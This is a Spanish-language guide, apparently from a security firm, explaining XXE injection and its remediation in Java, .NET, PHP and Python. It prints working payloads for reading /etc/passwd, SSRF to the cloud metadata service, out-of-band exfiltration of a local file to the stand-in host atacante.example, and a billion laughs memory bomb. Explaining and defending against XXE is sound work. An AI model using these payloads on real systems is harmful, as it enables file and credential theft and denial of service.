XXE es una vulnerabilidad web en la que un atacante abusa de la capacidad de un parser XML para procesar entidades externas definidas en el DTD del documento, forzando al servidor a leer archivos locales, realizar peticiones de red en su nombre o agotar sus recursos. El acrónimo procede de XML External Entity injection, y sigue apareciendo en aplicaciones que reciben XML sin haber endurecido explícitamente la configuración de su parser, algo mucho más frecuente de lo que sugiere la edad de la técnica.
Esta guía explica qué es XXE partiendo de qué son XML, los DTD y las entidades externas, diferencia el XXE in-band clásico del XXE blind u out-of-band, recorre las cadenas de impacto (lectura arbitraria de archivos, SSRF vía XXE, ejecución remota y denegación de servicio tipo billion laughs), muestra payloads reales y cierra con la remediación concreta por parser en Java, .NET, PHP y Python.
Lo esencial sobre XXE
- XXE abusa de entidades externas del DTD para que el parser XML acceda a recursos que el atacante no debería controlar.
- En su forma in-band el atacante ve el contenido en la respuesta; en su forma blind exfiltra datos por un canal out-of-band.
- Las cadenas de impacto van de la lectura de
/etc/passwdal robo de credenciales cloud vía SSRF, la ejecución remota y el DoS por expansión de entidades.- La defensa correcta es desactivar el procesamiento de DTD y de entidades externas en el parser, no filtrar payloads.
- Cada lenguaje tiene su interruptor:
disallow-doctype-declen JAXP,XmlResolver = nullen .NET,defusedxmlen Python.
Qué es XXE: XML, DTDs y entidades externas
XML es un formato de serialización de datos todavía omnipresente en SOAP, SAML, feeds RSS, documentos ofimáticos (DOCX, XLSX), imágenes SVG y multitud de APIs heredadas. Un documento XML puede declarar un DTD (Document Type Definition), una gramática que describe su estructura y que, entre otras cosas, permite definir entidades: abreviaturas reutilizables dentro del documento. Una entidad interna es un simple alias de texto. Una entidad externa, en cambio, indica al parser que cargue su contenido desde un recurso apuntado por un identificador de sistema, típicamente una URI.
Ese es el punto exacto donde nace XXE. Cuando una aplicación acepta XML de una fuente no confiable y su parser tiene habilitada la resolución de entidades externas, un atacante puede declarar su propio DTD interno con una entidad que apunte a file:///etc/passwd, a un endpoint HTTP interno o a un servicio de metadata cloud. El parser, obediente, resuelve la entidad y coloca el contenido del recurso donde el atacante lo referencie. La aplicación no ejecuta código: simplemente confía en que su parser haga lo que el DTD le pide, y el DTD lo controla el atacante.
La causa raíz no es un bug del lenguaje XML sino una configuración insegura por defecto en parsers antiguos. Muchas librerías modernas ya deshabilitan las entidades externas de fábrica, pero el código heredado, los frameworks SOAP y las integraciones B2B siguen procesando XML con ajustes permisivos.
XXE in-band clásico frente a XXE blind u out-of-band
El XXE in-band es la variante didáctica: la entidad externa se referencia en un elemento cuyo valor la aplicación devuelve en la respuesta, de modo que el atacante lee directamente el archivo o la respuesta interna. Es cómodo de demostrar, pero cada vez menos habitual en aplicaciones que no reflejan el XML procesado.
El XXE blind aparece cuando el parser resuelve entidades pero la aplicación no muestra el resultado. Aquí la explotación imita a la de un SSRF ciego: en lugar de leer la respuesta, se exfiltra por un canal out-of-band. La técnica canónica usa un DTD externo alojado por el atacante que define entidades parámetro anidadas para leer un archivo local y concatenarlo en una URL hacia un servidor bajo su control. Esa interacción DNS o HTTP se observa con un colaborador OAST como Burp Collaborator, la misma herramienta que se describe en la guía de Burp Suite para pentesting web. Si el archivo objetivo contiene caracteres que rompen la URI, se recurre a envolturas como el protocolo php://filter para codificar el contenido en base64 antes de exfiltrarlo.
Existe también el XXE basado en errores: cuando el parser devuelve mensajes de error verbosos, se fuerza que el contenido del archivo aparezca dentro de un mensaje de excepción, exfiltrándolo por esa vía sin necesidad de canal externo.
Cadenas de impacto: de leer un archivo a comprometer el cloud
La lectura arbitraria de archivos es el impacto directo. Con file:///etc/passwd, claves privadas en /home, ficheros de configuración con credenciales o el código fuente de la propia aplicación, un XXE se convierte en una fuga de información grave sin más esfuerzo.
La SSRF vía XXE eleva la severidad. Como el parser puede resolver entidades sobre http://, el atacante apunta la entidad externa a servicios internos no expuestos o al endpoint de metadata cloud http://169.254.169.254/. En instancias con IMDSv1 esto entrega credenciales temporales del rol IAM, replicando la cadena descrita en el artículo de SSRF. XXE actúa así como vehículo para llegar a la superficie interna, con las mismas defensas de egreso e IMDSv2 aplicables.
La ejecución remota es menos común pero real. En sistemas con la extensión PHP expect cargada, una entidad expect://id ejecuta comandos. En servidores internos como Redis o memcached accesibles desde el parser, la combinación con gopher:// reproduce vectores conocidos de RCE. El caso público más citado es el XXE que Reginaldo Silva reportó a Facebook en 2014, donde el acceso a entidades externas abría la puerta a una cadena hacia ejecución en el servidor.
La denegación de servicio se logra sin recurso externo alguno mediante el ataque billion laughs, una bomba de expansión de entidades. Diez niveles de entidades que se referencian entre sí generan miles de millones de expansiones que agotan la memoria del parser. Su primo, el quadratic blowup, consigue el mismo colapso con una única entidad enorme repetida.
Ejemplos de payloads reales
Lectura de archivo in-band clásica:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
SSRF vía XXE contra metadata cloud:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<data>&xxe;</data>
XXE blind con DTD externo para exfiltración out-of-band. El documento enviado:
<!DOCTYPE foo [
<!ENTITY % ext SYSTEM "http://atacante.example/evil.dtd">
%ext;
]>
Y el evil.dtd alojado por el atacante:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://atacante.example/?x=%file;'>">
%eval;
%exfil;
Denegación de servicio tipo billion laughs:
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>
Un vector muy productivo en la práctica es subir archivos que el servidor procesa como XML sin que el usuario lo perciba: SVG (que es XML), documentos DOCX o XLSX (que son ZIP con XML dentro) y feeds importados. Si el backend los parsea con un parser permisivo, el XXE viaja escondido en un fichero aparentemente inofensivo.
Remediación: desactivar DTD y entidades externas por parser
La única defensa robusta es configurar el parser para que no procese DTDs ni entidades externas. Filtrar cadenas como <!DOCTYPE es frágil y se elude con codificaciones. Lo correcto es endurecer el parser en cada tecnología.
En Java con JAXP, la opción más segura es prohibir la declaración de DOCTYPE por completo:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
En .NET, XmlDocument y XmlTextReader de versiones antiguas del Framework resolvían entidades por defecto. La mitigación es anular el resolver y prohibir el DTD:
var settings = new XmlReaderSettings {
DtdProcessing = DtdProcessing.Prohibit,
XmlResolver = null
};
En PHP, libxml 2.9 y posteriores ya deshabilitan las entidades externas por defecto, por lo que la recomendación clave es no pasar los flags peligrosos LIBXML_NOENT ni LIBXML_DTDLOAD a funciones como simplexml_load_string o DOMDocument::load. La antigua libxml_disable_entity_loader(true) quedó obsoleta en PHP 8.0 precisamente porque el comportamiento seguro ya es el predeterminado.
En Python, la biblioteca estándar xml.etree no resuelve entidades externas, pero lxml sí puede hacerlo y sigue siendo vulnerable a las bombas de expansión. La recomendación oficial es usar defusedxml, que envuelve los parsers habituales y bloquea DTDs externos, entidades y billion laughs de forma transparente. Con lxml directo, se configura un parser con resolve_entities=False y no_network=True.
Como capas complementarias: preferir formatos menos peligrosos como JSON cuando el diseño lo permita, aplicar egreso de red restringido para neutralizar la SSRF derivada tal como se explica en la guía de SSRF, y validar el XML entrante contra un esquema estricto. La defensa en profundidad frente a XXE se apoya en las mismas ideas de control de confianza y superficie que en el resto de la seguridad web, incluidas las políticas de origen que se tratan en CORS y seguridad web y las protecciones de sesión de CSRF.
XXE en el OWASP Top 10
XXE tuvo entrada propia en el OWASP Top 10 de 2017, como categoría A4:2017 XML External Entities. En la revisión de 2021, OWASP fusionó esa categoría dentro de A05:2021 Security Misconfiguration, reconociendo que la raíz del problema es un parser mal configurado más que una clase de vulnerabilidad aislada. El SANS CWE también la cataloga como CWE-611, Improper Restriction of XML External Entity Reference. Esta reclasificación no rebaja su gravedad: en cualquier auditoría de aplicación que procese XML, comprobar la postura del parser frente a XXE sigue siendo un control de primer orden, como ocurre por ejemplo con la subsección de XXE dentro del análisis de SAML.
Preguntas frecuentes
¿Qué diferencia hay entre XXE in-band y XXE blind?
En el XXE in-band la aplicación devuelve en su respuesta el valor de la entidad, de modo que el atacante lee el archivo o la respuesta interna directamente. En el XXE blind el parser resuelve la entidad pero la aplicación no muestra el resultado, así que se exfiltra por un canal out-of-band, normalmente una interacción DNS o HTTP hacia un servidor del atacante observada con un colaborador OAST.
¿Sigue siendo relevante XXE si mi parser es moderno?
Sí. Aunque muchas librerías desactivan las entidades externas por defecto, el riesgo persiste en código heredado, servicios SOAP, integraciones B2B y cualquier ruta donde se pasen flags permisivos o se use un parser antiguo. Además, las bombas de expansión de entidades pueden afectar incluso a parsers que ya bloquean entidades externas.
¿Cómo se detecta XXE en un pentest?
Se enumeran todos los endpoints que aceptan XML, incluidos los que lo reciben de forma encubierta vía SVG, DOCX o feeds. Para el caso blind se inyecta una entidad externa apuntando a un dominio OAST único y se observa cualquier interacción. Herramientas como Burp Suite automatizan buena parte de la detección de XXE in-band y out-of-band.
¿XXE permite ejecución remota de código?
En ciertos escenarios sí, aunque no es lo habitual. Requiere condiciones adicionales como la extensión expect en PHP o servicios internos alcanzables mediante gopher://. El impacto más común y fiable es la lectura de archivos y la SSRF, que ya justifican tratarlo como una vulnerabilidad crítica.
¿Filtrar la cadena DOCTYPE es suficiente para mitigar XXE?
No. Los filtros basados en firmas se eluden con codificaciones alternativas y variantes del DTD. La mitigación correcta es desactivar el procesamiento de DTD y de entidades externas en la configuración del parser, que es una defensa estructural y no dependiente de listas negras.
Recursos relacionados
- Qué es SSRF: server-side request forgery
- Qué es CSRF: cross-site request forgery
- Qué es CORS y seguridad web
- Qué es SAML y ataques al SSO
- Qué es Burp Suite en pentesting web
Auditoría de XXE con Secra
En Secra tratamos XXE como un control estándar en cualquier auditoría de aplicaciones que procesen XML, ya sea de forma explícita en APIs SOAP y SAML o de forma encubierta en subidas de SVG, documentos ofimáticos y feeds importados. Verificamos la postura del parser en cada lenguaje del stack, validamos las cadenas de impacto reales (lectura de archivos, SSRF hacia metadata cloud y denegación de servicio por expansión de entidades) y entregamos remediación concreta a nivel de configuración, priorizada por el riesgo efectivo sobre sus datos. Si su plataforma recibe XML de terceros y nunca se ha comprobado el endurecimiento de sus parsers, hable con nuestro equipo desde nuestro servicio de auditoría web y móvil.
Sobre el autor
Equipo de Secra Solutions
Ethical hackers certificados OSCP, OSEP, OSWE, CRTO, CRTL y CARTE, con más de 7 años de experiencia en ciberseguridad ofensiva. Autores de los CVE-2025-40652 y CVE-2023-3512.

